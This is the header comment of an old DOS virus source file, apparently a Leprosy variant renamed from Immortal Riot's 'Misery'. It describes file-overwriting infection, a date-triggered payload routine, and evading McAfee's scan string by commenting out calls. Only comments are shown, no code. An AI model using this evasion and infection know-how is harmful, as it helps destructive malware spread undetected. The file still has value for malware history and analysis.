|
|
; This is an mutation of Misery from Immortal Riot.
|
|||
|
|
; I mutated this one, cuz Mcafee scan grabbed it
|
|||
|
|
; within one month after we released it. So, now
|
|||
|
|
; "Misery" is called "Raping Betrayls". Many
|
|||
|
|
; thanks to PCM2 for the original Leprosy virus.
|
|||
|
|
;
|
|||
|
|
; Okey..In this version I just changed the new
|
|||
|
|
; Mcafee "Scan-String", by remarking some calls.
|
|||
|
|
; I also added a day checker, and if the
|
|||
|
|
; virus (or a infected file) is run at the 10:th
|
|||
|
|
; any month, procedure "ellie" will go off..
|
|||
|
|
; Ellie is some sort of heart breaker!..<..hehe..>
|
|||
|
|
;
|
|||
|
|
; It copies itself into other exe/com files on the current
|
|||
|
|
; drive. The file-size will not be changed, cuz it just
|
|||
|
|
; replaces the code in the beginning with itselves. The
|
|||
|
|
; infected files will not work, instead the virus will
|
|||
|
|
; run again. The virus uses dot-dot metod for changing dirs.
|
|||
|
|
;
|
|||
|
|
; There has been many mutations born from Leprosy,
|
|||
|
|
; and here we give you yet another contribution...
|
|||
|
|
;
|
|||
|
|
; McaFee Scan v108 can't find it, neither can S&S Toolkit 6.54
|
|||
|
|
; Havn't tried with TBScan/F-prot, but they will probably
|
|||
|
|
; identify it as "Leprosy".
